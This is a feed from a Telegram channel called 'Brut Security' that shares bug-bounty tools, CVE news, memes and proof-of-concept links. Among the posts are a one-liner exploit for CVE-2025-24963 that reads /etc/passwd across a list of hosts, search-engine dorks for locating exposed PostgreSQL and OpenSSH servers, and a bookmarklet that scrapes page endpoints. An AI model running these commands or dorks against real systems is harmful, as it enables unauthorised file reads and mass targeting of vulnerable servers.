Brut Security
14.6K subscribers
909 photos
73 videos
287 files
966 links
βœ…Queries: @wtf_brut
πŸ›ƒWhatsApp: wa.link/brutsecurity
🈴Training: brutsec.com
πŸ“¨E-mail: [email protected]
Download Telegram
When cybersecurity burnout hits, off-grid life starts calling. πŸ˜‚
🀣18😁4πŸ‘2
This media is not supported in your browser
VIEW IN TELEGRAM
πŸ”₯πŸ”₯πŸ”₯ProjectDiscovery launched Nuclei v1 with an -ai flag that makes custom vulnerability detection simple, no YAML skills needed. It now offers instant AI-powered scanning from the command line, smarter template editing, external link support, automated security regressions, and larger context windows for all users. Check it out here: https://projectdiscovery.io/blog/reinventing-custom-detections-and-vulnerability-management
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ‘15πŸ—Ώ8πŸ”₯5❀4πŸ‘1🫑1
πŸ›‘πŸ›‘Looking for a specific Nuclei template?  Use the -tl option to list all available Nuclei Templates and then grep for the keyword you're interested in!
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ‘11πŸ‘7❀3
πŸ—£οΈπŸ—£οΈπŸ—£οΈ
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ”₯37🀣6πŸ‘3πŸ—Ώ1
⚑️grepsubsfromwebpages

βœ…Extract subdomains automatically while visiting webpages. Just add target domain name and this extension will start extracting subs from the webpages you visit.

πŸ“Œ
https://github.com/hackersthan/grepsubsfromwebpages
πŸ‘9❀2πŸ”₯2
🚨 CVE-2025-24963 - Vitest Browser Mode Local File Read 🚨

πŸ’₯One Liner Exploit:
cat file.txt | while read host; do curl -skL "https://$host/__screenshot-error?file=/etc/passwd" | grep -E "root:.*:/bin/" && echo "$host is VULN"; done
πŸ‘7πŸ”₯4❀1
This media is not supported in your browser
VIEW IN TELEGRAM
πŸ‘»πŸ‘»πŸ‘»Medusa by @Ch0pin is a game-changer for mobile bug hunters πŸ“±πŸ•΅οΈ

πŸ”₯πŸ”₯With its FRIDA-powered framework, you can automate tasks like bypassing SSL pinning, tracing function calls, and modifying app behaviour in real time. Perfect for uncovering vulnerabilities in Android & iOS apps! πŸ”

🎀Check it out πŸ‘‰ https://github.com/Ch0pin/medusa
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ‘13❀7πŸ”₯5
πŸ˜‚πŸ˜‚πŸ˜‚πŸ˜‚
Please open Telegram to view this post
VIEW IN TELEGRAM
😒21🀣4πŸ‘2πŸ”₯1
🚨 CVE-2025-1094: PostgreSQL psql SQL injection
πŸ”₯PoC:https://github.com/rapid7/metasploit-framework/pull/19877
🧐Deep Dive :https://attackerkb.com/topics/G5s8ZWAbYH/cve-2024-12356/rapid7-analysis

πŸ‘‡Dorks:
HUNTER : protocol="postgresql"
FOFA : product="PostgreSQL"
SHODAN : "port:5432 PostgreSQL"

πŸ“°Refer:https://thecyberthrone.in/2025/02/15/cve-2025-1094-impacts-postgresql-with-sql-injection/
πŸ‘12πŸ”₯5❀3πŸ‘1
This media is not supported in your browser
VIEW IN TELEGRAM
πŸ”–Find hidden Endpoints:

javascript:(async function(){let scanningDiv=document.createElement("div");scanningDiv.style.position="fixed",scanningDiv.style.bottom="0",scanningDiv.style.left="0",scanningDiv.style.width="100%",scanningDiv.style.maxHeight="50%",scanningDiv.style.overflowY="scroll",scanningDiv.style.backgroundColor="white",scanningDiv.style.color="black",scanningDiv.style.padding="10px",scanningDiv.style.zIndex="9999",scanningDiv.style.borderTop="2px solid black",scanningDiv.innerHTML="<h4>Scanning...</h4>",document.body.appendChild(scanningDiv);let e=[],t=new Set;async function n(e){try{const t=await fetch(e);return t.ok?await t.text():(console.error(`Failed to fetch ${e}: ${t.status}`),null)}catch(t){return console.error(`Error fetching ${e}:`,t),null}}function o(e){return(e.startsWith("/")||e.startsWith("./")||e.startsWith("../"))&&!e.includes(" ")&&!/[^\x20-\x7E]/.test(e)&&e.length>1&&e.length<200}function s(e){return[...e.matchAll(/['"]((?:\/|\.\.\/|\.\/)[^'"]+)['"]/g)].map(e=>e[1]).filter(o)}async function c(o){if(t.has(o))return;t.add(o),console.log(`Fetching and processing: ${o}`);const c=await n(o);if(c){const t=s(c);e.push(...t)}}const l=performance.getEntriesByType("resource").map(e=>e.name);console.log("Resources found:",l);for(const e of l)await c(e);const i=[...new Set(e)];console.log("Final list of unique paths:",i),console.log("All scanned resources:",Array.from(t)),scanningDiv.innerHTML=`<h4>Unique Paths Found:</h4><ul>${i.map(e=>`<li>${e}</li>`).join("")}</ul>`})();
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ”₯33πŸ‘7❀3
⚑️One Million Dorks - A repository with text files containing a million dorks for finding potentially vulnerable web pages and sensitive data (in Google and other search engines). Can be used with various automation tools.

🎯
https://github.com/HackShiv/OneDorkForAll/tree/main/dorks/1M_dork


#bugbounty #cybersecurity
πŸ”₯19πŸ‘9
Recon like Pro.pdf
1.3 MB
❀28πŸ‘2
Schlix CMS 2.2.7-2 Arbitrary File Upload - POC ---> https://t.iss.one/brutsecurity_poc/41
❀3πŸ‘1
Please open Telegram to view this post
VIEW IN TELEGRAM
🀣40πŸ”₯1
πŸ‘»πŸ‘»πŸ‘»Nuclei AI Prompts for @pdnuclei

Nuclei v3.3.9 (@pdiscoveryio) has -ai option to generate and run nuclei templates on the fly in natural language.

This is a list of prompts for this option:

- sensitive data exposure
- SQLi
- XSS
- SSRF

https://github.com/reewardius/Nuclei-AI-Prompts
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ”₯34πŸ‘6πŸ—Ώ2
API Security TestingπŸ“πŸ‘Ύ
πŸ‘21πŸ”₯4
Please open Telegram to view this post
VIEW IN TELEGRAM
🀣46πŸ‘6😒1🀨1
This media is not supported in your browser
VIEW IN TELEGRAM
πŸ‘»πŸ‘»πŸ‘»SSRF in Sliver C2 (CVE-2025-27090), allowing an attacker to read and write TCP traffic through affected teamservers.

πŸ”₯πŸ”₯πŸ”₯Demo shows leaking the IP of a Sliver teamserver hidden behind redirectors.

Writeup-
https://blog.chebuya.com/posts/server-side-request-forgery-on-sliver-c2/

POC-
https://github.com/chebuya/exploits/tree/main/CVE-2025-27090%3A%20Sliver%20C2%20SSRF
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ”₯43πŸ‘7❀2🀣1
Don't forget to react guys πŸ‘€πŸ‘€
Please open Telegram to view this post
VIEW IN TELEGRAM
🀝25🀣7πŸ‘5😁2
CVE-2025-26465, -26466: Two vulnerabilities in OpenSSH, 6.8 rating❗️

MitM and DoS in OpenSSH. The severity level is medium, but the vulnerabilities cover many versions: from 2013 for -26465 and from 2023 for -26466.

Search at Netlas.io:
πŸ‘‰ Link: https://nt.ls/1TTrj
πŸ‘‰ Dork: ssh.server_key_exchange.client_to_server_compression:"[email protected]"

Read more: https://blog.qualys.com/vulnerabilities-threat-research/2025/02/18/qualys-tru-discovers-two-vulnerabilities-in-openssh-cve-2025-26465-cve-2025-26466
πŸ‘10πŸ”₯5❀2😱1🀣1